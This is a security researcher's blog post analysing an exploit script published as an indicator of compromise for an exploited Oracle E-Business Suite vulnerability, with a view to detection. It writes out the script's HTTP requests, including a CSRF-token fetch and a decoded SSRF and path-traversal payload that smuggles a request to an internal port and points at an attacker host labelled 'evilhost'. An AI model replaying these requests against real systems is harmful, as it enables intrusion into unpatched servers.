This weekend, Oracle published a surprise security bulletin announcing an exploited vulnerability in Oracle E-Business Suite. As part of the announcement, which also included a patch, Oracle published IoC observed as part of the incident response [1].
One script I found interesting is what Oracle calls “exp.py”. Here is a quick analysis of the HTTP requests sent by the script. I only ran it against a simple Python web server, not an actual Oracle E-Business Suite install.
The script takes two parameters: The URL of the target and the IP/port of a config server.
The first request sent by the script:
GET /OA_HTML/runforms.jsp HTTP/HTTP/1.1
Host: [target host]:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
The script starts by assuming that the internal host is the same as the target host. If this request results in a redirect, the new internal host will be extracted from the Location header.
POST /OA_HTML/JavaScriptServlet HTTP/HTTP/1.1
Host: [target host]:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
CSRF-XHR: YES
FETCH-CSRF-TOKEN: 1
Content-Length: 0
This request will return a CSRF token that is extracted from the body of the response.
Finally, the actual exploit request is created:
POST /OA_HTML/configurator/UiServlet HTTP/HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
CSRF-XHR: YES
FETCH-CSRF-TOKEN: 1
Content-Length: 4324
Content-Type: application/x-www-form-urlencoded
These are the headers of the request, which are not very remarkable. The body is a bit more interesting. After URL and HTML entity decoding, the body turns out to be:
redirectFromJsp=1
getUiType=
++++test
++++
http://target:7201/OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2
Host: evilhost:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: keep-alive
Cookie:
POST /
++++0
++++0
++++Applet
Interesting is the use of the invalid HTTP version 1.2, which may be used to bypass some filters. The stray “POST /” at the end is labeled as “keep alive”, and may just be a partial request to keep the connection open a bit longer.
Port 7201 is the default non-TLS port for the application server. The URL looks like a path traversal exploit. Given that this is the payload of the last request, the vulnerability is likely best described as a server-side request forgery issue (and it is labeled as such in the script).
In short, the exploit does:
- Verify the hostname name
- Retrieve a CSRF token
- sends a request to the app server to use SSRF to connect to an “evilhost” and retrieve instructions? Maybe more about this later. From a detection point of view. The HTTP version 1.2 looks promising.
[1] https://www.oracle.com/security-alerts/alert-cve-2025-61882.html
—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
